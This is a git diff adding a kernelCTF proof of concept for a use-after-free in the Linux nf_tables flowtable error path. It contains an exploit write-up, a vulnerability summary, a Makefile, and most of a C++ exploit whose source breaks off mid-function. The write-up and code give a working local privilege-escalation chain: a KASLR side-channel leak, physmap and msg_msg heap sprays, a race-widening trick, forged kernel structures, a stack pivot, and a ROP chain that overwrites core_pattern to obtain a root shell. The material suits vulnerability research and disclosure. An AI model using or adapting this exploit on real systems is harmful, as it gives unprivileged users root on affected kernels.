diff --git a/pocs/linux/kernelctf/CVE-2026-23392_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-23392_cos/docs/exploit.md new file mode 100644 index 000000000..6a49ab27d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23392_cos/docs/exploit.md @@ -0,0 +1,122 @@ +# CVE-2026-23392 + +## Exploit Primitives + +- **Vulnerable object**: `nft_flowtable` (`kmalloc-cg-512`) +- **Primitive chain**: UAF → controlled `rhashtable.tbl` pointer → fake `flow_offload` lookup → fake `dst_entry` → `dst->ops->check()` RIP control → stack pivot → ROP `core_pattern` overwrite + +## Vulnerability Overview + +The root cause is a missing `synchronize_rcu()` in the error path of `nft_register_flowtable_net_hooks()` ([nf_tables_api.c:~8774](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/nf_tables_api.c)). When a duplicate device is detected (`-EEXIST`), the function unregisters hooks via `nf_unregister_net_hook()` (which does `WRITE_ONCE(hook, accept_all)` but no RCU grace period) and then the caller `nf_tables_newflowtable()` frees the flowtable via `kfree()`: + +```c +// nft_register_flowtable_net_hooks error path: +err_unregister_net_hooks: + list_for_each_entry_safe(hook, next, hook_list, list) { + nft_unregister_flowtable_hook(net, flowtable, hook); + // WRITE_ONCE(accept_all) — NO synchronize_rcu! + } + return err; + +// Caller on error: + flowtable->data.type->free(&flowtable->data); // rhashtable_destroy + kfree(flowtable->name); + kfree(flowtable); // FREE while RCU reader may still hold priv +``` + +Packets already in the hook function (softirq, RCU read-side) still hold a stale `priv` pointer to `&flowtable->data`. When they call `rhashtable_lookup(&priv->rhashtable, ...)`, they dereference freed memory. + +Trigger sequence ([exploit.cpp:1037-1055](../exploit/cos-121-18867.381.45/exploit.cpp)): + +1. Create nft table + flowtable `ft1` on `veth1` (permanent hook, creates duplicate conflict) +2. Create flowtable `ft2` on `[veth0, ve0a..ve99a, veth1]` — `veth0` hook goes live, then `veth1` duplicates with `ft1` → `-EEXIST` → error path → `kfree(ft2)` +3. Concurrently flood packets on `veth1` → arrive on `veth0` ingress → hit freed hook + +## Exploitation + +### 1. KASLR Leak (Prefetch Side-Channel) + +Bypass KASLR using the [EntryBleed/Prefetch](https://www.willsroot.io/2022/12/entrybleed.html) side-channel technique ([leak_kaslr_base](https://github.com/google/kernel-research/blob/main/libxdk/util/pwn_utils.cpp) from libxdk). The function measures `prefetchnta`/`prefetcht2` latency across all KASLR slots, identifies the kernel `.text` region via a Windowed Max Absolute Difference algorithm, and applies Boyer-Moore majority voting across 9 independent trials for reliability. + +The leaked base is aligned to 16MB (`& ~0xffffffULL`). From this we derive the absolute address of `__init_begin`, which is the target for physmap spray placement. + +### 2. NPerm (Physmap Spray) + +Build a page-sized buffer containing 5 fake kernel structures ([exploit.cpp:fake_bucket_table..fake_nf_conn](../exploit/cos-121-18867.381.45/exploit.cpp)), then spray 3.1GB of physical pages via `mmap(MAP_POPULATE)` + `MADV_FREE` + re-`mmap(MAP_POPULATE)`. The goal is to plant attacker-controlled data at the kernel virtual address `__init_begin`, which is a known fixed offset from the kernel base. + +``` +Sprayed page layout: + +0x000 fake bucket_table → rhashtable_lookup traverses this + +0x100 fake flow_offload → returned as "found" flow entry + +0x200 fake dst_entry → dual-purpose: dst fields + ROP chain + +0x300 fake dst_ops → check() = stack pivot gadget + +0x400 fake nf_conn → pass nf_ct_is_dying check +``` + +### 3. msg_msg Heap Spray (Slab Reclaim) + +After `kfree(nft_flowtable)`, spray `msg_msg` objects (464 bytes → `kmalloc-cg-512`, same slab cache as `nft_flowtable` at 448 bytes) to reclaim the freed slab ([exploit.cpp:build_spray](../exploit/cos-121-18867.381.45/exploit.cpp)). The spray payload overwrites `nf_flowtable.rhashtable.tbl` (at slab offset `0x60 = nft_flowtable.data(0x50) + rhashtable.tbl(0x10)`) to point to the fake `bucket_table` at `__init_begin`. + +### 4. RATC (Race Against The Clock) + +The race window between hook registration and `kfree` is ~13μs. To widen it, we use a timerfd + epoll wakeup storm ([exploit.cpp:ratc_setup](../exploit/cos-121-18867.381.45/exploit.cpp)): 8 forked processes × 256 timerfd dups × 192 epoll instances = 393,216 waiters. When the timerfd fires during softirq on CPU 1, the epoll wakeup storm freezes CPU 1 for ~12-18ms, giving CPU 0 time to complete the `kfree` + `msg_msg` spray while CPU 1 is still inside the hook function. + +### 5. UAF → Fake Structure Traversal → RIP Control + +When the UAF fires, the kernel follows this code path: + +``` +nf_flow_offload_inet_hook(priv=FREED) // hook still cached in softirq + → nf_flow_offload_ip_hook(priv) + → flow_offload_lookup(&priv->rhashtable, tuple) // priv->rhashtable.tbl = SPRAY + → rhashtable_lookup(fake_bucket_table) // +0x000: size=1, bucket→+0x100 + → finds fake flow_offload at +0x100 // tuple matches flood packet + → nf_flow_offload_forward(tuplehash) + → nf_flow_dst_check(&tuple) // xmit_type=NEIGH → calls dst_check + → dst_check(tuple.dst_cache, tuple.dst_cookie) + → dst->obsolete != 0 (+0x3A = 1) // triggers check() + → dst->ops->check(dst, cookie) // ops→+0x300, check→push_rdi_pivot + → RIP CONTROL // ★ +``` + +Several checks must pass along this path: + +- **rhashtable_lookup**: `bucket_table.size=1` ensures hash always maps to bucket 0. `bucket_table.buckets[0]` points to the fake `flow_offload`. The tuple fields (`src_v4`, `dst_v4`, `src_port`, `dst_port`, `iifidx`, `l3proto`, `l4proto`) must exactly match the flood packet. +- **flow_offload_lookup**: `flow->flags` must not have `NF_FLOW_TEARDOWN` set. `nf_ct_is_dying(flow->ct)` must return false → `ct->status` at `+0x400+0x80` is 0. +- **nf_flow_offload_forward**: `tuple.mtu = 0xFFFF` passes the `nf_flow_exceeds_mtu` check. `tuple.xmit_type = FLOW_OFFLOAD_XMIT_NEIGH` triggers the `dst_check` path. +- **dst_check**: `dst->obsolete = 1` triggers `dst->ops->check(dst, cookie)`. `dst->ops` points to fake `dst_ops` at `+0x300`. `dst_ops->check` at offset `+0x10` contains the stack pivot gadget. + +### 6. Stack Pivot and ROP Chain + +The hijacked function pointer is `push rdi; pop rsp; jmp __x86_return_thunk`. Since `rdi = dst` (first argument to `check(dst, cookie)`), this pivots the stack to the fake `dst_entry` at `+0x200`. + +The `dst_entry` region serves dual purpose — its fields are read by the kernel pre-pivot, and it executes as a ROP chain post-pivot ([exploit.cpp:fake_dst_entry_and_rop](../exploit/cos-121-18867.381.45/exploit.cpp)): + +``` ++0x00 pop rdi; ret ← RSP starts here after pivot ++0x08 dst_entry.ops pointer ← consumed as junk by pop rdi ++0x10 add rsp, 0x40; ret ← skip over obsolete zone (+0x20..+0x5F) ++0x18 __x86_return_thunk ← popped as RIP, then ret → RSP = +0x60 ++0x3A obsolete = 1 ← (shared field, not clobbered by trampoline) ++0x60 pop rdi; ret ← main ROP chain starts ++0x68 &core_pattern ← rdi = kernel address of core_pattern ++0x70 pop rsi; ret ++0x78 &core_pattern_str ← rsi = userspace string "|/proc/%P/fd/666 %P" ++0x80 pop rdx; ret ++0x88 sizeof(core_pattern_str)← rdx = string length ++0x90 _copy_from_user ← overwrites core_pattern ++0x98 pop rdi; ret ++0xA0 0x7FFFFFFF ← rdi = ~2 billion ms ++0xA8 msleep ← freeze this kernel thread forever +``` + +The ROP chain calls `_copy_from_user(core_pattern, userspace_str, len)` to overwrite the kernel's `core_pattern` with `|/proc/%P/fd/666 %P`, then calls `msleep(0x7FFFFFFF)` to prevent the thread from returning (which would crash due to corrupted stack). + +### 7. Post-Exploit: core_pattern Pipe Handler → Root Shell + +A previously forked child process ([exploit.cpp:crash](../exploit/cos-121-18867.381.45/exploit.cpp)) polls `/proc/sys/kernel/core_pattern` in a loop. Once it detects the overwrite, it: + +1. Copies the exploit binary to `memfd` and `dup2`s it to fd 666 +2. Triggers a NULL pointer dereference (`*(volatile size_t *)0 = 0`) to crash +3. The kernel executes `|/proc/%P/fd/666 %P` as the core handler — running our binary as root with the crashing process's PID as argument +4. The binary detects `argc == 2`, uses `pidfd_open` + `pidfd_getfd` to steal the parent's stdio, and runs `cat /flag` diff --git a/pocs/linux/kernelctf/CVE-2026-23392_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-23392_cos/docs/vulnerability.md new file mode 100644 index 000000000..d2e0d40a6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23392_cos/docs/vulnerability.md @@ -0,0 +1,10 @@ +- Requirements: + - Capabilities: CAP_NET_ADMIN (via user namespaces) + - Kernel configuration: `CONFIG_NETFILTER=y`, `CONFIG_NF_TABLES=y`, `CONFIG_NF_FLOW_TABLE=y`, `CONFIG_NF_FLOW_TABLE_INET=y`, `CONFIG_NETFILTER_INGRESS=y` + - User namespaces required: yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3f0465a9ef02624e0a36db9e7c9bedcafcd6f6fe +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d73f4b53aaaea4c95f245e491aa5eeb8a21874ce +- Affected version: v5.5 - v7.0-rc4 +- Affected component: net/netfilter +- Cause: Use-After-Free +- Description: Use-after-free in nf_tables flowtable error path. `nft_register_flowtable_net_hooks()` registers netfilter hooks then checks for duplicate devices across existing flowtables. On `-EBUSY`, it unregisters hooks via `nf_unregister_net_hook()` (which does `WRITE_ONCE(accept_all)` but no `synchronize_rcu()`) then the caller `nf_tables_newflowtable()` frees the flowtable via `kfree()`. Packets already in the hook function (softirq, RCU read-side) still hold a stale `priv` pointer to the freed flowtable, causing a use-after-free when accessing `flowtable->data.rhashtable`. diff --git a/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/Makefile b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/Makefile new file mode 100644 index 000000000..600614c95 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/Makefile @@ -0,0 +1,20 @@ +KERNELXDK_INCLUDE_DIR ?= /usr/local/include +KERNELXDK_LIB_DIR ?= /usr/lib + +CXX = g++ +CXXFLAGS = -I. -I$(KERNELXDK_INCLUDE_DIR) -static -pthread -s +LDFLAGS = -L$(KERNELXDK_LIB_DIR) -lkernelXDK -lkeyutils + +exploit: exploit.cpp target_db.kxdb + $(CXX) $(CXXFLAGS) -o $@ $< $(LDFLAGS) + +exploit_debug: exploit.cpp target_db.kxdb + $(CXX) $(CXXFLAGS) -g -o $@ $< $(LDFLAGS) + +target_db.kxdb: + wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +clean: + rm -f exploit exploit_debug target_db.kxdb + +.PHONY: clean diff --git a/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/exploit b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/exploit new file mode 100755 index 000000000..b647b50fb Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/exploit.cpp new file mode 100644 index 000000000..17a7384f6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23392_cos/exploit/cos-121-18867.381.45/exploit.cpp @@ -0,0 +1,1261 @@ +/* + * CVE-2026-23392 — nft_flowtable UAF exploit (COS-121) + * + * Root cause: nft_register_flowtable_net_hooks() error path (EEXIST) + * 1. Registers hooks (nf_register_net_hook) -> hook LIVE, priv = &flowtable->data + * 2. Dup check finds EEXIST -> unregister hooks (WRITE_ONCE accept_all, NO synchronize_rcu) + * 3. Caller: type->free() -> rhashtable_destroy, kfree(flowtable) + * + * Race: packet loads entry->hook + entry->priv BEFORE WRITE_ONCE(accept_all), + * then calls hook(priv) -> rhashtable_lookup(&priv->rhashtable) AFTER kfree. + * + * Strategy: + * CPU 0: nft batch_send -> register hooks -> EEXIST -> unregister -> kfree + * CPU 1: tight packet flood on veth0 -> arrives veth0 ingress -> hook fires + * RATC (timerfd + epoll storm) widens the race window. + * + * Exploit chain (kernel code path): + * nf_flow_offload_inet_hook(priv=FREED) + * -> nf_flow_offload_ip_hook(priv) + * -> flow_offload_lookup(&priv->rhashtable, tuple) // UAF read + * -> rhashtable_lookup(fake_bucket_table) // traverses spray data + * -> finds fake flow_offload (tuple matches packet) + * -> nf_flow_offload_forward() + * -> nf_flow_dst_check(&tuple) + * -> dst_check(fake_dst, 0) + * -> fake_dst->obsolete != 0 + * -> fake_dst->ops->check(dst, cookie) // RIP CONTROL + * -> push rdi; pop rsp; ret (stack pivot) + * -> ROP: _copy_from_user(core_pattern, user_str, len) + * -> ROP: msleep(MAX) + * + * Migrated to libxdk (C++) — struct offsets and symbols from TargetDb. + */ + +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include +#include +#include + +/* ── leak_kaslr_base: inlined from kernel-research/libxdk/util/pwn_utils.cpp + * (not exported by the libxdk v0.1 release tarball). Prefetch side-channel. */ +namespace { + +constexpr uint64_t KASLR_START = 0xFFFFFFFF81000000ULL; +constexpr uint64_t KASLR_END = KASLR_START + 0x40000000ULL; +constexpr uint64_t KASLR_SLOT_SIZE = 0x200000ULL; + +inline __attribute__((always_inline)) uint64_t rdtsc_begin_() { + uint64_t a, d; + asm volatile("mfence\n\t" "rdtscp\n\t" + "mov %%rdx, %0\n\t" "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" "lfence\n\t" + : "=r"(d), "=r"(a) :: "%rax", "%rbx", "%rcx", "%rdx"); + return (d << 32) | a; +} +inline __attribute__((always_inline)) uint64_t rdtsc_end_() { + uint64_t a, d; + asm volatile("xor %%rax, %%rax\n\t" "lfence\n\t" "rdtscp\n\t" + "mov %%rdx, %0\n\t" "mov %%rax, %1\n\t" "mfence\n\t" + : "=r"(d), "=r"(a) :: "%rax", "%rbx", "%rcx", "%rdx"); + return (d << 32) | a; +} +inline __attribute__((always_inline)) void prefetch_(uint64_t addr) { + asm volatile("prefetchnta (%0)\n\t" "prefetcht2 (%0)\n\t" : : "r"(addr)); +} +inline size_t sidechannel_(uint64_t addr) { + size_t t = rdtsc_begin_(); + prefetch_(addr); + return rdtsc_end_() - t; +} +inline uint64_t slot_to_addr_(size_t slot) { return KASLR_START + (slot * KASLR_SLOT_SIZE); } +inline uint64_t abs_diff_(uint64_t a, uint64_t b) { return a > b ? a - b : b - a; } +inline uint64_t compute_median_(std::vector v) { + size_t n = v.size() / 2; + std::nth_element(v.begin(), v.begin() + n, v.end()); + return v[n]; +} +inline std::optional try_find_edge_(const std::vector &timings, uint64_t window_size) { + if (timings.size() < window_size) return std::nullopt; + uint64_t median = compute_median_(timings); + uint64_t cur = 0; + for (size_t k = 0; k < window_size; k++) cur += abs_diff_(timings[k], median); + uint64_t best = cur; + std::optional best_slot = 0; + for (size_t i = 1; i <= timings.size() - window_size; i++) { + cur -= abs_diff_(timings[i - 1], median); + cur += abs_diff_(timings[i + window_size - 1], median); + if (cur > best) { best = cur; best_slot = i; } + } + return best_slot; +} +inline std::optional try_leak_kaslr_base_(uint64_t window_size, int samples) { + size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE; + std::vector timings(slots, std::numeric_limits::max()); + for (int i = 0; i < samples; i++) + for (size_t s = 0; s < slots; s++) { + uint64_t t = sidechannel_(slot_to_addr_(s)); + if (t < timings[s]) timings[s] = t; + } + auto slot = try_find_edge_(timings, window_size); + if (slot) return slot_to_addr_(*slot); + return std::nullopt; +} +inline std::optional find_majority_(const std::vector> &slots) { + uint64_t cand = 0; size_t count = 0; + for (const auto &s : slots) { + if (count == 0) { if (s) { cand = *s; count = 1; } } + else if (s && *s == cand) count++; else count--; + } + size_t actual = 0; + for (const auto &s : slots) if (s && *s == cand) actual++; + if (actual > slots.size() / 2) return cand; + return std::nullopt; +} + +} // namespace + +static uint64_t leak_kaslr_base(uint64_t window_size, int samples, int trials) { + std::vector> cands; + for (int i = 0; i < trials; i++) cands.push_back(try_leak_kaslr_base_(window_size, samples)); + auto base = find_majority_(cands); + if (!base) throw ExpKitError("Failed to leak KASLR base"); + return *base; +} + +INCBIN(target_db, "target_db.kxdb"); + +/* ── Logging ── */ + +#define logi(fmt, ...) printf("[+] " fmt "\n", ##__VA_ARGS__) +#define logd(fmt, ...) printf("[*] " fmt "\n", ##__VA_ARGS__) +#define loge(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) +#define SYSCHK(x) ({ \ + __typeof__(x) __res = (x); \ + if (__res == (__typeof__(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ +}) + +/* ── Constants ── */ + +#define SPRAY_SIZE (3UL * 1024 * 1024 * 1024 + 1024 * 1024 * 128) + +static char core_pattern_str[] = "|/proc/%P/fd/666 %P"; + +/* Payload layout offsets within the physmap-sprayed page */ +#define PAYLOAD_OFF_BUCKET 0x000 +#define PAYLOAD_OFF_FLOW 0x100 +#define PAYLOAD_OFF_DST 0x200 /* doubles as ROP chain after pivot */ +#define PAYLOAD_OFF_DSTOPS 0x300 +#define PAYLOAD_OFF_CT 0x400 + +#define NUM_EXTRA 100 + +/* ── RATC parameters ── */ +#define RATC_FORK_COUNT 0x8 +#define RATC_DUP_COUNT 0x100 +#define RATC_EPOLL_COUNT 0xc0 + +#define TIMEOUT_MIN_DEFAULT 9000 +#define TIMEOUT_MAX_DEFAULT 27000 +#define TIMEOUT_STEP 5 + +/* ── vuln-trigger mode (KASAN): kernel is ~2-3x slower, widen sweep ── + * Non-KASAN window is ~13μs total; on KASAN push to ~30-120μs, step + * coarser so a single pass covers the whole range in reasonable time. */ +#define TRIGGER_TIMEOUT_MIN 1000 /* 1 μs */ +#define TRIGGER_TIMEOUT_MAX 1500000 /* 1.5 ms */ +#define TRIGGER_TIMEOUT_STEP 1000 /* 1 μs */ + +/* ── msg_msg spray parameters ── */ +#define SPRAY_MSG_SIZE (512 - 48) +#define SPRAY_PER_ROUND 0x30 +#define SPRAY_BATCH 0x10 +#define SPRAY_TOTAL (SPRAY_BATCH * SPRAY_PER_ROUND) + +/* ── Global state ── */ + +static unsigned long know_addr; /* __init_begin absolute address */ +static unsigned long kbase; +static unsigned long fake_buf[0x1000 / 8]; + +static int ratc_timefds[RATC_DUP_COUNT]; +static int ratc_epfds[RATC_EPOLL_COUNT]; +static int tfd; +static volatile int cur_timeout; + +static pthread_barrier_t barr; + +static int pkt_fd; +static struct sockaddr_ll pkt_sll; +static unsigned char pkt_buf[128]; +static int pkt_len; + +static uint8_t spray_payload[512 - 48]; +static int spray_qids[SPRAY_TOTAL]; +static pthread_t spray_thrs[SPRAY_BATCH]; +static int spray_slot; + +struct spray_arg { + int start_idx; +}; +static struct spray_arg spray_args[SPRAY_BATCH]; + +/* ── libxdk target (global, initialized in main) ── */ +static Target *g_target; + +/* ── Target setup: register all struct definitions and symbols ── */ + +static void setup_target(Target &target) +{ + /* + * Symbols: ROP gadgets + kernel variables + * These are offsets from kernel .text base (kbase). + */ + target.AddSymbol("core_pattern", 0x02fb32a0); + target.AddSymbol("__init_begin", 0x038c3000); + /* Pivot, stack-shifts, and ROP gadgets pulled by PayloadBuilder + * directly from kxdb (target.GetPivots() / RopActionId templates). */ + + /* + * Struct definitions: fake structures we build in physmap spray. + * Offsets verified against COS-121 kernel source (6.6.x, x86_64). + * + * Call chain to RIP: + * rhashtable_lookup(&flow_table->rhashtable, ...) + * -> traverses bucket_table -> finds flow_offload + * nf_flow_dst_check(&tuple) + * -> dst_check(tuple.dst_cache, tuple.dst_cookie) + * -> dst->ops->check(dst, cookie) ← RIP CONTROL + */ + + /* bucket_table: rhashtable_lookup traverses this */ + target.AddStruct("bucket_table", 0x48, { + {"size", 0x00, 4}, /* u32 — hash table size */ + {"nest", 0x04, 4}, /* u32 — nesting level */ + {"future_tbl", 0x30, 8}, /* bucket_table* — resize pointer */ + {"buckets", 0x40, 8}, /* rhash_head*[] — bucket array start */ + }); + + /* flow_offload_tuple: extracted from packet, matched against fake flow. + * Offsets are relative to tuple start (within flow_offload_tuple_rhash). */ + target.AddStruct("flow_offload_tuple", 0x44, { + {"src_v4", 0x00, 4}, /* __be32 */ + {"dst_v4", 0x10, 4}, /* __be32 */ + {"src_port", 0x20, 2}, /* __be16 */ + {"dst_port", 0x22, 2}, /* __be16 */ + {"iifidx", 0x24, 4}, /* int */ + {"l3proto", 0x28, 1}, /* u8 */ + {"l4proto", 0x29, 1}, /* u8 */ + {"xmit_flags", 0x32, 1}, /* u8 bitfield: dir(2)|xmit_type(3)|encap_num(2) */ + {"mtu", 0x34, 2}, /* u16 */ + {"dst_cache", 0x38, 8}, /* struct dst_entry* (union) */ + {"dst_cookie", 0x40, 4}, /* u32 (union) */ + }); + + /* flow_offload: the fake flow entry returned by rhashtable_lookup. + * tuplehash[0] starts at offset 0 (flow_offload_tuple_rhash). */ + target.AddStruct("flow_offload", 0xE0, { + {"node_next", 0x00, 8}, /* rhash_head.next (NULLS marker) */ + {"tuple", 0x08, 0x44},/* flow_offload_tuple (embedded) */ + {"ct", 0xB0, 8}, /* struct nf_conn* */ + {"flags", 0xB8, 8}, /* unsigned long (NF_FLOW_TEARDOWN etc) */ + }); + + /* dst_entry: fake destination entry. + * dst->ops->check() is the RIP hijack point. + * dst->obsolete must be != 0 to trigger check() call. */ + target.AddStruct("dst_entry", 0x88, { + {"dev", 0x00, 8}, /* struct net_device* */ + {"ops", 0x08, 8}, /* struct dst_ops* */ + {"obsolete", 0x3A, 2}, /* short — triggers check() when != 0 */ + }); + + /* dst_ops: provides the controlled function pointer. + * dst->ops->check(dst, cookie) = RIP control. */ + target.AddStruct("dst_ops", 0x90, { + {"family", 0x00, 2}, /* unsigned short */ + {"gc", 0x08, 8}, /* function pointer */ + {"check", 0x10, 8}, /* function pointer — ★ HIJACKED */ + }); + + /* nf_conn: fake conntrack entry. + * Must pass nf_ct_is_dying() check → status.IPS_DYING bit clear. */ + target.AddStruct("nf_conn", 0x100, { + {"status", 0x80, 8}, /* unsigned long (IPS_DYING = bit 9) */ + }); + + /* nf_flowtable: UAF object. priv = &nft_flowtable->data. + * data.rhashtable.tbl is what we overwrite via msg_msg spray. */ + target.AddStruct("nf_flowtable", 0xC0, { + {"rhashtable_tbl", 0x10, 8}, /* rhashtable.tbl (bucket_table __rcu*) */ + }); + + /* nft_flowtable: the slab object that gets kfree'd. + * data (nf_flowtable) is embedded at offset 0x50. + * Total size ~448 bytes → kmalloc-cg-512. */ + target.AddStruct("nft_flowtable", 448, { + {"data", 0x50, 0xC0}, /* struct nf_flowtable (embedded) */ + }); + + /* msg_msg: spray object used to reclaim freed nft_flowtable slab. + * Header is 48 bytes (0x30), user data follows. */ + target.AddStruct("msg_msg", 512, { + {"header", 0x00, 0x30}, /* msg_msg kernel header */ + {"data", 0x30, 464}, /* user-controlled payload */ + }); +} + +/* ── Helpers: struct field access ── */ + +static uint64_t field(const char *struct_name, const char *field_name) +{ + return g_target->GetFieldOffset(struct_name, field_name); +} + +/* Write value at struct field offset within a buffer */ +static void set8 (uint8_t *p, const char *s, const char *f, uint8_t v) { *(uint8_t *)(p + field(s, f)) = v; } +static void set16(uint8_t *p, const char *s, const char *f, uint16_t v) { *(uint16_t *)(p + field(s, f)) = v; } +static void set32(uint8_t *p, const char *s, const char *f, uint32_t v) { *(uint32_t *)(p + field(s, f)) = v; } +static void set64(uint8_t *p, const char *s, const char *f, uint64_t v) { *(uint64_t *)(p + field(s, f)) = v; } + +/* ── CPU pinning ── */ + +static void set_cpu(int cpu) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(cpu, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} + +/* ── RATC: epoll + timerfd wakeup storm ── */ + +static void epoll_ctl_add(int epfd, int fd, uint32_t events) +{ + struct epoll_event ev = {}; + ev.events = events; + ev.data.fd = fd; + epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev); +} + +static void ratc_setup(int fd) +{ + int cfd[2]; + char buf[1]; + socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); + for (int k = 0; k < RATC_FORK_COUNT; k++) { + if (fork() == 0) { + for (int i = 0; i < RATC_DUP_COUNT; i++) + ratc_timefds[i] = SYSCHK(dup(fd)); + for (int i = 0; i < RATC_EPOLL_COUNT; i++) + ratc_epfds[i] = SYSCHK(epoll_create(1)); + for (int i = 0; i < RATC_EPOLL_COUNT; i++) + for (int j = 0; j < RATC_DUP_COUNT; j++) + epoll_ctl_add(ratc_epfds[i], ratc_timefds[j], 0); + write(cfd[1], buf, 1); + raise(SIGSTOP); + } + read(cfd[0], buf, 1); + } + close(cfd[0]); + close(cfd[1]); +} + +/* ── Netlink helpers ── */ + +static int nl_socket(int protocol) +{ + int fd = socket(AF_NETLINK, SOCK_RAW, protocol); + if (fd < 0) return -1; + struct sockaddr_nl sa = {}; + sa.nl_family = AF_NETLINK; + if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + close(fd); return -1; + } + return fd; +} + +static int nl_send_recv(int fd, void *msg, int len) +{ + struct sockaddr_nl sa = {}; + sa.nl_family = AF_NETLINK; + if (sendto(fd, msg, len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) + return -errno; + char rbuf[8192]; + int n = recv(fd, rbuf, sizeof(rbuf), 0); + if (n < 0) return -errno; + struct nlmsghdr *resp = (struct nlmsghdr *)rbuf; + if (resp->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(resp); + return e->error; + } + return 0; +} + +/* ── NLA helpers ── */ + +static void nla_put(void *buf, int *off, uint16_t type, const void *data, int len) +{ + struct nlattr *nla = (struct nlattr *)((char *)buf + *off); + nla->nla_len = NLA_HDRLEN + len; + nla->nla_type = type; + if (data && len > 0) + memcpy((char *)nla + NLA_HDRLEN, data, len); + *off += NLA_ALIGN(nla->nla_len); +} + +static void nla_put_str(void *buf, int *off, uint16_t type, const char *s) +{ + nla_put(buf, off, type, s, strlen(s) + 1); +} + +static void nla_put_u32(void *buf, int *off, uint16_t type, uint32_t v) +{ + nla_put(buf, off, type, &v, sizeof(v)); +} + +static int nla_nest_begin(void *buf, int *off, uint16_t type) +{ + int start = *off; + struct nlattr *nla = (struct nlattr *)((char *)buf + *off); + nla->nla_type = type | NLA_F_NESTED; + nla->nla_len = NLA_HDRLEN; + *off += NLA_HDRLEN; + return start; +} + +static void nla_nest_end(void *buf, int *off, int start) +{ + struct nlattr *nla = (struct nlattr *)((char *)buf + start); + nla->nla_len = *off - start; +} + +/* ── nfnetlink batch ── */ + +static int nfnl_batch_send(int fd, void *payload, int payload_len) +{ + char buf[16384]; + int off = 0; + + struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + off); + nlh->nlmsg_len = NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(struct nfgenmsg)); + nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN; + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 1; + struct nfgenmsg *nfg = (struct nfgenmsg *)NLMSG_DATA(nlh); + nfg->nfgen_family = AF_UNSPEC; + nfg->version = NFNETLINK_V0; + nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); + off += NLMSG_ALIGN(nlh->nlmsg_len); + + memcpy(buf + off, payload, payload_len); + off += payload_len; + + nlh = (struct nlmsghdr *)(buf + off); + nlh->nlmsg_len = NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(struct nfgenmsg)); + nlh->nlmsg_type = NFNL_MSG_BATCH_END; + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 2; + nfg = (struct nfgenmsg *)NLMSG_DATA(nlh); + nfg->nfgen_family = AF_UNSPEC; + nfg->version = NFNETLINK_V0; + nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); + off += NLMSG_ALIGN(nlh->nlmsg_len); + + struct sockaddr_nl sa = {}; + sa.nl_family = AF_NETLINK; + if (sendto(fd, buf, off, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) + return -errno; + + char rbuf[8192]; + int n = recv(fd, rbuf, sizeof(rbuf), 0); + if (n > 0) { + struct nlmsghdr *resp = (struct nlmsghdr *)rbuf; + while (NLMSG_OK(resp, (unsigned int)n)) { + if (resp->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(resp); + if (e->error != 0) return e->error; + } + resp = NLMSG_NEXT(resp, n); + } + } + return 0; +} + +/* ── RTNL: create veth pair ── */ + +static int rtnl_create_veth(const char *name, const char *peer) +{ + int fd = nl_socket(NETLINK_ROUTE); + if (fd < 0) return -1; + + char buf[4096]; + memset(buf, 0, sizeof(buf)); + struct nlmsghdr *nlh = (struct nlmsghdr *)buf; + nlh->nlmsg_type = RTM_NEWLINK; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; + nlh->nlmsg_seq = 1; + struct ifinfomsg *ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); + ifi->ifi_family = AF_UNSPEC; + int off = NLMSG_ALIGN(NLMSG_HDRLEN + sizeof(struct ifinfomsg)); + + nla_put_str(buf, &off, IFLA_IFNAME, name); + int li = nla_nest_begin(buf, &off, IFLA_LINKINFO); + nla_put_str(buf, &off, IFLA_INFO_KIND, "veth"); + int id 